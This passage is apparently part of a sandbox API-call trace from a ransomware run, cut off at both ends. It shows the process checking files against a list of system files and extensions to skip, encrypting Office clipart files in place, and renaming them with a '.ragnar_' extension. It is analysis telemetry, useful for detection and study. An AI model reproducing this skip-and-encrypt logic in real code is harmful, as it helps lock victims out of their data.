lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.773] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.773] GetProcessHeap () returned 0x580000 [0088.773] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.773] CloseHandle (hObject=0xf4) returned 1 [0088.773] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" [0088.773] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.ragnar_FD7BD9FC" [0088.773] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.774] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x841c4800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x841c4800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2028, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01472_.WMF", cAlternateFileName="")) returned 1 [0088.774] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.774] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01472_.WMF" | out: lpString1="NA01472_.WMF") returned="NA01472_.WMF" [0088.774] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF") returned=".WMF" [0088.774] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.774] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="autorun.inf") returned 1 [0088.774] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="boot.ini") returned 1 [0088.774] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="bootfont.bin") returned 1 [0088.774] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="bootsect.bak") returned 1 [0088.774] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="bootmgr") returned 1 [0088.774] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="bootmgr.efi") returned 1 [0088.774] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.774] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="desktop.ini") returned 1 [0088.774] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="iconcache.db") returned 1 [0088.774] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="ntldr") returned -1 [0088.775] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="ntuser.dat") returned -1 [0088.775] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.775] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="ntuser.ini") returned -1 [0088.775] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="thumbs.db") returned -1 [0088.775] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.775] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.775] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.775] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.775] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.775] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.775] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf")) returned 0x20 [0088.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.775] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8232) returned 1 [0088.775] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x201f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.775] GetProcessHeap () returned 0x580000 [0088.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.776] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2028, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.777] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2028, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2028, lpOverlapped=0x0) returned 1 [0088.778] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.778] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2028, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.778] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2028, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2028, lpOverlapped=0x0) returned 1 [0088.779] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2028, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.779] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.779] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2028, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.779] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.779] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.779] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.779] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.779] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.779] GetProcessHeap () returned 0x580000 [0088.779] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.779] CloseHandle (hObject=0xf4) returned 1 [0088.779] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" [0088.779] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.ragnar_FD7BD9FC" [0088.779] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.780] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eb1b00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82eb1b00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01473_.WMF", cAlternateFileName="")) returned 1 [0088.780] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.780] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01473_.WMF" | out: lpString1="NA01473_.WMF") returned="NA01473_.WMF" [0088.780] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF") returned=".WMF" [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="autorun.inf") returned 1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="boot.ini") returned 1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="bootfont.bin") returned 1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="bootsect.bak") returned 1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="bootmgr") returned 1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="bootmgr.efi") returned 1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="desktop.ini") returned 1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="iconcache.db") returned 1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="ntldr") returned -1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="ntuser.dat") returned -1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="ntuser.ini") returned -1 [0088.780] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="thumbs.db") returned -1 [0088.781] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.781] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.781] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.781] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.781] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.781] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.781] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf")) returned 0x20 [0088.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.782] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10414) returned 1 [0088.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x28a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.782] GetProcessHeap () returned 0x580000 [0088.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.782] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.783] VirtualAlloc (lpAddress=0x0, dwSize=0x28ae, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.783] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.783] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.783] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x28ae, lpOverlapped=0x0) returned 1 [0088.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.785] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28ae, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.785] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x28ae, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x28ae, lpOverlapped=0x0) returned 1 [0088.785] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28ae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.785] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.785] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x28ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.785] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.785] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.785] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.785] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.785] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.785] GetProcessHeap () returned 0x580000 [0088.785] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.785] CloseHandle (hObject=0xf4) returned 1 [0088.786] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" [0088.786] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.ragnar_FD7BD9FC" [0088.786] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.786] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5def00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f5def00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x349c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01474_.WMF", cAlternateFileName="")) returned 1 [0088.786] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.786] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01474_.WMF" | out: lpString1="NA01474_.WMF") returned="NA01474_.WMF" [0088.786] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF") returned=".WMF" [0088.786] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.786] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="autorun.inf") returned 1 [0088.786] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="boot.ini") returned 1 [0088.786] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="bootfont.bin") returned 1 [0088.786] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="bootsect.bak") returned 1 [0088.786] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="bootmgr") returned 1 [0088.787] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="bootmgr.efi") returned 1 [0088.787] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.787] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="desktop.ini") returned 1 [0088.787] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="iconcache.db") returned 1 [0088.787] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="ntldr") returned -1 [0088.787] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="ntuser.dat") returned -1 [0088.787] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.787] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="ntuser.ini") returned -1 [0088.787] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="thumbs.db") returned -1 [0088.787] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.787] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.787] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.787] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.787] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.787] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.787] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf")) returned 0x20 [0088.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.787] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13468) returned 1 [0088.787] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.788] GetProcessHeap () returned 0x580000 [0088.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.788] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.790] VirtualAlloc (lpAddress=0x0, dwSize=0x349c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.790] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.790] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.790] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x349c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x349c, lpOverlapped=0x0) returned 1 [0088.791] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.791] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x349c, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.791] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x349c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x349c, lpOverlapped=0x0) returned 1 [0088.791] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x349c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.791] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.791] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x349c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.791] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.791] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.792] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.792] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.792] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.792] GetProcessHeap () returned 0x580000 [0088.792] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.792] CloseHandle (hObject=0xf4) returned 1 [0088.792] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF") 